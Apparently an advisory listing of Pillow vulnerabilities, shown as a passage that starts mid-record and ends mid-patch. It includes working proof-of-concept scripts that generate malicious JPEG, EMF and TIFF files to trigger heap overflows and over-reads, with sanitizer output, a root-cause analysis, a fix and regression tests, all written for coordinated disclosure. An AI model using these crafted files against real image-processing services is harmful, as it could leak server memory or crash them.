-DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \ -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \ && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt ##### --- Pillow at the pinned commit, built with ASan against that libjpeg --- RUN git clone https://github.com/python-pillow/Pillow /src/repo WORKDIR /src/repo RUN git checkout ${TARGET_COMMIT} ENV JPEG_ROOT=/opt/ljt ENV LD_LIBRARY_PATH=/opt/ljt/lib RUN python3 -m venv /venv \ && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \ && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \ /venv/bin/pip install --no-build-isolation --no-deps . \ && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \ && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \ /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))" COPY make_sof3.py /tmp/make_sof3.py COPY trigger.py /tmp/trigger.py RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer ENV LD_PRELOAD=/opt/libasan.so CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"] ``` ##### `make_sof3.py` ```python #!/usr/bin/env python3 """Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG. Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra). Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact). """ import struct import sys W = 1200 H = 1100 MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer class BitWriter: def __init__(self): self.out = bytearray() self.acc = 0 self.n = 0 def put(self, value, nbits): for i in range(nbits - 1, -1, -1): self.acc = (self.acc << 1) | ((value >> i) & 1) self.n += 1 if self.n == 8: self.out.append(self.acc) if self.acc == 0xFF: self.out.append(0x00) # byte stuffing self.acc = 0 self.n = 0 def flush(self): while self.n: self.put(1, 1) return bytes(self.out) ##### Canonical Huffman: 17 symbols (categories 0..16), all of code length 5. BITS = [0] * 17 BITS[5] = 17 HUFFVAL = list(range(17)) CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)} def category(d): if d == 0: return 0 return abs(d).bit_length() def build_pixels(): rows = [] for y in range(H): row = bytearray() while len(row) < W: row += MARKER rows.append(bytes(row[:W])) return rows def main(path): rows = build_pixels() bw = BitWriter() prev = None for y in range(H): row = rows[y] for x in range(W): s = row[x] if y == 0 and x == 0: pred = 1 << 7 # 2^(P-1-Pt) elif x == 0: pred = prev[0] # Rb for first sample of a line else: pred = row[x - 1] # Ra, predictor 1 d = (s - pred) & 0xFFFF if d >= 0x8000: d -= 0x10000 ssss = category(d) code, length = CODES[ssss] bw.put(code, length) if ssss: v = d if d > 0 else d + (1 << ssss) - 1 bw.put(v & ((1 << ssss) - 1), ssss) prev = row entropy = bw.flush() out = bytearray() out += b"\xff\xd8" # SOI # DHT: class 0 (DC/lossless), table id 0 dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL) out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht # SOF3: lossless, Huffman, sequential sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0]) out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0 sos = bytes([1, 1, 0x00, 1, 0, 0]) out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos out += entropy out += b"\xff\xd9" # EOI with open(path, "wb") as f: f.write(bytes(out)) print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless") if __name__ == "__main__": main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg") ``` ##### `trigger.py` ```python import sys from PIL import Image, features print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True) im = Image.open("/tmp/sof3_gray_1200x1100.jpg") print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True) print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True) sys.stdout.flush() try: im.thumbnail((256, 256)) print("thumbnail returned, size=%s" % (im.size,), flush=True) except Exception as e: print("exception: %r" % (e,), flush=True) ``` Validated output: ``` Pillow 13.0.0.dev0 | libjpeg 6.2 format=JPEG mode=L size=(1200, 1100) >>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer ================================================================= ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422 WRITE of size 1200 at 0x74e4e904aad8 thread T0 #&#8203;0 __asan_memcpy #&#8203;1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5 #&#8203;2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3 #&#8203;3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3 #&#8203;4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3 #&#8203;5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22 #&#8203;6 _decode /src/repo/src/decode.c:132:14 0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8) allocated by thread T0 here: #&#8203;0 calloc #&#8203;1 _setimage /src/repo/src/decode.c:230:34 SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy ``` Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as `draft()` computed it. ``` control baseline DCT JPEG: JPEG L (1200, 1100) thumbnail OK, size = (256, 235) -- no ASan report ``` ##### Scope and caveats - Reproduced on `main` at `e41083f383c9cd3db95de52564cc0b6452313d4a`, which is current `origin/main` as of 2026-08-30. Also reported against 12.3.0. - Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected. - No non-default Pillow configuration is involved: `Image.thumbnail()` calls `draft()` by default, and the triggering bytes are entirely file data. - Only paths that use `draft()` before loading are affected. `open().load()` and `resize()` decode at scale 1 and are unaffected. Calling `img.load()` before `thumbnail()`, or `thumbnail(..., reducing_gap=None)`, avoids the path in an application today. - Not affected on the same code path: SOF11 (arithmetic lossless) fails with `JERR_ARITH_NOTIMPL` before any row; 12- and 16-bit lossless are rejected by Pillow's `SOF()` because it requires `bits == 8`; SOF5-7/13-15 fail with `JERR_SOF_UNSUPPORTED`. ##### Credit and disclosure Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics. This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report. Credit goes to Claude (Anthropic) and Ada Logics. #### Severity - CVSS Score: 9.2 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782](https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112403](https://nvd.nist.gov/vuln/detail/CVE-2026-112403) - [https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75](https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8g5g-8vmr-9782) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds) BIT-pillow-2026-96644 / [CVE-2026-96644](https://nvd.nist.gov/vuln/detail/CVE-2026-96644) / [GHSA-9v9v-9qvf-h2hj](https://github.com/advisories/GHSA-9v9v-9qvf-h2hj) / PYSEC-2026-4343 <details> <summary>More information</summary> #### Details ##### Summary On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read. ##### Details The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check: - `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`. In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints: - `src/display.c:793-794` assign the 16-bit fields - `src/display.c:800` sizes the allocation from them - `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values The whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`). ##### PoC ```python import struct from PIL import Image def L(v): return struct.pack("<i", v) ##### Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the ##### decompression-bomb check, but the width truncates to 16 bits for the allocation while ##### the copy uses 70000. emf = b"\x01\x00\x00\x00" + L(88) # record type + size emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1 emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc) emf += b" EMF" # signature at offset 40 emf += bytes(44) open("poc.emf", "wb").write(emf) im = Image.open("poc.emf") print("size:", im.size, "pixels:", im.size[0] * im.size[1]) im.load() # over-read happens here on a Windows build ``` On Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead). ##### Impact CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj](https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96644](https://nvd.nist.gov/vuln/detail/CVE-2026-96644) - [https://github.com/python-pillow/Pillow/pull/10120](https://github.com/python-pillow/Pillow/pull/10120) - [https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7](https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9v9v-9qvf-h2hj) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels BIT-pillow-2026-112404 / [CVE-2026-112404](https://nvd.nist.gov/vuln/detail/CVE-2026-112404) / [GHSA-c6hw-5grf-ff96](https://github.com/advisories/GHSA-c6hw-5grf-ff96) <details> <summary>More information</summary> #### Details ``` ============================================================================ OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels Location: src/libImaging/TiffDecode.c:483 in _decodeTile() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds. The bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it. The two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile. The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0). The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` ← `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer. ##### Details `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state->buffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. Nothing in either function checks that the unpacker's input row (`width * state->bits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, …); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer. The ~400-byte TIFF `tile_count2.tif` generated by the reproducer — one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) — is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0–12 and different bytes in rows 13–15 (`aa` vs `55`, i.e. glibc's fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 ← _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable). ##### Why the two parsers disagree libtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for "PhotometricInterpretation"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`. Pillow keeps the first value and carries on: ```python ##### src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load()) try: (dest[tag],) = values except ValueError: # We've got a builtin tag with 1 expected entry warnings.warn(f"Metadata Warning, tag {tag} had too many entries: ...") dest[tag] = values[0] ``` so `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `("L", "L")`, and because the file is compressed the libtiff branch then overrides the rawmode: ```python ##### src/PIL/TiffImagePlugin.py:1578, 1600-1607 self.use_load_libtiff = READ_LIBTIFF or self._compression != "raw" … if photo == 6: self._mode = "RGB" if self._compression in "jpeg" and self._planar_configuration == 1: rawmode = "RGB" else: rawmode = "RGBX" ``` `RGBX` is a 32-bit rawmode, so `get_unpacker()` (`src/decode.c:301-309`) sets `state->bits = 32` and `state->shuffle = copy4`. The intent of the `photo == 6` override is that libtiff will deliver RGBA through `TIFFRGBAImage`, but that decision is made in C from *libtiff's* reading of the tag, which here is "not YCbCr": ```c // src/libImaging/TiffDecode.c:737-764 TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric); // unset -> stays 0 … readAsRGBA = photometric == PHOTOMETRIC_YCBCR; // 0 … if (TIFFIsTiled(tiff)) { _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4 ``` ##### The missing check `_decodeTile()` only guards against libtiff's tile being *larger* than what the unpacker expects, then allocates exactly `TIFFTileSize()` bytes and feeds `row_byte_size`-strided rows to the shuffler: ```c // src/libImaging/TiffDecode.c:403-487 (_decodeTile) tile_bytes_size = TIFFTileSize(tiff); // 256 … row_byte_size = TIFFTileRowSize(tiff); // 16 … if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { // 256 > 1024 is false -> no abort … } state->bytes = tile_bytes_size; new_data = realloc(state->buffer, state->bytes); // 256-byte buffer (line 448) … for (tile_y = 0; tile_y < current_tile_length; tile_y++) { shuffler( // copy4: reads current_tile_width*4 = 64 bytes (UINT8 *)im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, // from offset 16*tile_y current_tile_width ); ``` Row `tile_y` is read from `[16·tile_y, 16·tile_y + 64)`; for `tile_y` = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to `(state->bits / libtiff_bits_per_pixel − 1) × row_byte_size` bytes, and `row_byte_size` scales with the attacker-chosen `TileWidth`. Note also that the existing one-sided check at line 434 multiplies the file-controlled `tile_width`/`tile_length` (`UINT32`, accepted up to `INT_MAX` at line 428) by `state->bits` in 32-bit unsigned arithmetic, so `tile_width * state->bits` wraps for `tile_width ≥ 2^32 / bits` (2^26 for the 64-bit rawmodes, 2^27 for `RGBX`/`I;32`/`F;32F`). An 8 KB file declaring a 2,097,152×1 image with `TILEWIDTH = 2^26+16`, `TILELENGTH = 1`, 1-bit data for libtiff and `RGBA;16N` for Pillow makes libtiff allocate an ~8 MB tile from which `unpackRGBA16L` reads 16 MB, and the stock build SIGSEGVs in `unpackRGBA16L ← _decodeTile (TiffDecode.c:483)`; a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type. Compare the strip path, which refuses this situation (added for OSS-Fuzz `crash-0da0` in 8.2.0): ```c // src/libImaging/TiffDecode.c:528-548 (_decodeStrip) unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8; … row_byte_size = TIFFScanlineSize(tiff); // if the unpacker calculated row size is > row byte size, (at least) the last // row of the strip will have a read buffer overflow. if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } ``` The identical file written with one strip instead of one tile fails `load()` with `OSError: decoder error -2` because of this check. ##### Same gap in `_decodeAsRGBA()` `_decodeAsRGBA()` always produces `img.width * 4` bytes per row (`TiffDecode.c:325`, buffer allocated at line 339) and unpacks with `state->shuffle` (line 373) without looking at `state->bits`. It is reached when *libtiff* sees YCbCr while Pillow does not force `RGBX`. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's `ImageFileDirectory_v2.load()` overwrites (`TiffImagePlugin.py:945`, last wins). The reproducer's `ycbcr_dup.tif` is a 16x16 Deflate strip with `PhotometricInterpretation` present twice (`6`, then `2`) and `BitsPerSample` twice (`8,8,8`, then `16,16,16`): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects `RGB;16N` (`state->bits = 48`), and `unpackRGB16L` reads 96 bytes per 64-byte row — ASan reports `heap-buffer-overflow` in `unpackRGB16L` (`Unpack.c:609`) from `TiffDecode.c:373`, past the 1024-byte region from `TiffDecode.c:339`. The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample `photo == 6` file only gets rawmode `RGBX` since the unreleased commit 155330d63 ("Do not open YCbCr colorspace images as RGB without libtiff (#&#8203;9779)", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two `PhotometricInterpretation` entries (`1` or `2`, then `6`) produces the same `copy4` ← `_decodeTile` over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps `6` and unpacks 4 (the reproducer's `tile_dup.tif`). `ycbcr_dup.tif` above reaches `_decodeAsRGBA()` the same way. ##### Impact Any application that calls `Image.open()` + `load()` (or `thumbnail()`, `convert()`, `save()`, …) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and `TiffDecode.c` without `READ_LIBTIFF` being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included — up to three libtiff tile rows past the buffer for the `RGBX`-over-8-bit case, with the tile row length (`TileWidth`) chosen by the attacker. `state->buffer` is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about `(unpacker_bpp / libtiff_bpp − 1)` tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized `Imaging` rows, so this is disclosure / crash, not memory corruption. This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in `TiffDecode.c`); that fix and the later `crash-0da0` fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a ("Check for dimensions and sizes to fit into int", 2021-01-25), which switched `_decodeTile()` from a buffer sized by Pillow's unpacker to `TIFFTileSize()`/`TIFFTileRowSize()`; it is first in Pillow 8.2.0. The `_decodeAsRGBA()` half dates from eb8c1206d6b1 ("Fix CVE-2020-35654 - OOB Write in TiffDecode.c"), first in 8.1.0. ##### Reproducing Run `repro` (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end. The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and `TiffDecode.c`. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process: - **`tile_count2.tif`**: a 16x16, 1-sample, 8-bit tile with `PhotometricInterpretation` written as SHORT count 2, `(6, 6)`. Pillow keeps `6` and unpacks with `copy4` (`RGBX`, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased). - **`tile_dup.tif`**: a 16x16, 3-sample, 8-bit tile with `PhotometricInterpretation` present twice, `2` then `6`. libtiff keeps `2` (RGB, 3 bytes per pixel) and Pillow keeps `6` (`RGBX`, 4 bytes per pixel). This variant also applies to released versions. - **`ycbcr_dup.tif`**: the 16x16 strip with `BitsPerSample` `8,8,8` then `16,16,16` and `PhotometricInterpretation` `6` then `2`. libtiff decodes 8-bit YCbCr through `_decodeAsRGBA()` (4 bytes per pixel), and Pillow unpacks `RGB;16N` with `unpackRGB16L` (6 bytes per pixel). - **`tile_big.tif`**: the `tile_count2.tif` layout with a single 65536x16 tile. For each of the first three files, the script runs `Image.open()` + `load()` + `tobytes()` twice, once with `MALLOC_PERTURB_=85` and once with `=170`. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the `aa`/`55` fill bytes show up, along with heap pointer bytes. The script then decodes `tile_big.tif` and checks for a SIGSEGV (exit status -11). If `gdb` is available, it prints the top frames: `copy4` (`Unpack.c:1290`) ← `_decodeTile` (`TiffDecode.c:483`) ← `ImagingLibTiffDecode`. This crash depends on ASLR, so an occasional run may survive. Each step prints which `_imaging` build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is `BUG` if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is `OK`. ##### Suggested fix The attached patch restores the `_decodeStrip()` invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in `src/libImaging/TiffDecode.c`, at the point where each one sizes its buffer: - `_decodeTile()` computes `unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8` (the `tsize_t` cast keeps the product out of 32-bit arithmetic, so the `TILEWIDTH = 2^26+16` case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing `TIFFTileSize()` sanity check, as `_decodeStrip()` does for strips. After that check and before the `realloc`, it fails with `IMAGING_CODEC_BROKEN` when `unpacker_row_byte_size > row_byte_size` (`TIFFTileRowSize()`). - `_decodeAsRGBA()` fails with `IMAGING_CODEC_BROKEN` when `state->bits > 32`, because `TIFFRGBAImage` rows are always 32 bits per pixel. This check runs before `TIFFRGBAImageBegin()` and any allocation. With the patch, the tile and RGBA files fail `load()` with `OSError: decoder error -2`, the same result the equivalent strip file already gets. The patch also adds a regression test to `Tests/test_file_libtiff.py` (`test_unpacker_row_wider_than_libtiff_row`). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and `Tests/test_file_tiff.py`, `Tests/test_file_libtiff.py` and `Tests/test_tiff_crashes.py` pass. These checks close the over-read however the two parsers are made to disagree. Separately, `_setup()` could stop deriving the libtiff rawmode from tags that libtiff will read differently — e.g. treat a `PhotometricInterpretation`/`BitsPerSample`/`Compression` that is not a single well-typed value as "unknown pixel mode", the way `ImageWidth`/`ImageLength` are already required to be `int` at `TiffImagePlugin.py:1473`, or have `ImageFileDirectory_v2.load()` keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) — but that only narrows the ways to reach the C-side gap rather than removing it: `TiffImagePlugin` cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read. ##### The patch Reject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..c08dfe77c 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase): with pytest.raises(OSError, match="decoder error -9"): im.load() + @pytest.mark.parametrize( + "data", + ( + # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that + # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel) + # while libtiff ignores it and decodes 1 byte/pixel. + ( + b"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA" + b"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA" + b"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4" + b"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm" + b"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT" + b"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A" + b"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt" + b"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna" + b"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=" + ), + # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation + # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA) + # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel). + ( + b"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA" + b"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA" + b"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB" + b"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS" + b"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3" + 